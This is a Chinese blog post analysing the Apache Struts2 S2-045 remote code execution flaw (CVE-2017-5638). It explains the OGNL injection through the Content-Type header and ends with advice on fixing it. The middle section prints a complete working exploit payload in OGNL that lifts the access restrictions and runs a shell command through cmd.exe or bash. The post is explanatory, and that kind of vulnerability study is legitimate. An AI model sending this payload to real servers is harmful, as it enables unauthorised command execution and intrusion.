STRUTS 045 漏洞王

作者: 康康 分类: Web安全 发布时间: 2017-03-18 23:25

 

著名漏洞王struts又出漏洞了,这次又是OGNL表达式,网上有人第一时间放出了poc,我参考了别人博客对于漏洞的解析,大概是如下原理

0x01 漏洞简介

OGNL:Ognl是个一个表达式语言。2.可以用来获取和设置java对象的属性。其实针对此次漏洞我们可以理解Ognl有以下功能:通一定语法组装的字符串,经解释后,可以获取对象属性或调用对象的方式(与JSTL标签库有点相似)。

原理:该漏洞是由于上传功能的异常处理函数没有正确处理用户输入的错误信息。导致远程攻击者可通过发送恶意的数据包(对用户输入的信息返回错误信息是回显),利用该漏洞在受影响服务器上执行任意命令。
漏洞编号:S2-045
CVE编号:CVE-2017-5638
漏洞类型:远程代码执行
漏洞级别:高危
漏洞风险:黑客通过利用漏洞可以实现远程命令执行。
影响版本:struts2.3.5 – struts2.3.31 , struts2.5 – struts2.5.10

0x02 简单的漏洞分析

由于当content-type中出现”multipart/form_data”时,会被认为有文件上传,从而调用struts2默认的上传文件组件Jakarta(雅加达),通过组件漏洞载入OGNL代码并执行,从而达到远程调用的目的。

0x03 poc代码段

下面是一段网上的poc的header部分代码,主要分为三个部分
(1)用来触发文件漏洞,声明为文件上传

%{(#test='multipart/form-data')

(2)用来注入OGNL代码,通过ognl表达式静态调用获取ognl.OgnlContext的DEFAULT_MEMBER_ACCESS属性,并将获取的结果覆盖_memberAccess属性,绕过SecurityMemberAccess的限制。

(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
.(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container'])   .(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
.(#ognlUtil.getExcludedPackageNames().clear())
.(#ognlUtil.getExcludedClasses().clear())
.(#context.setMemberAccess(#dm))))

(3)剩下的为调用CMD命令的代码,简单粗暴,首先判断操作系统,win下调用cmd,linux下调用bash。

.(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))
.(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))
.(#p=new java.lang.ProcessBuilder(#cmds))
.(#p.redirectErrorStream(true))
.(#process=#p.start())
.(#ros(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))
.(#ros.flush())}

0x04修复

1.严格过滤 Content-Typefilename里的内容,严禁ognl表达式相关字段。

2. 如果您使用基于Jakarta插件,请升级到最新版本

发表评论

电子邮件地址不会被公开。 必填项已用*标注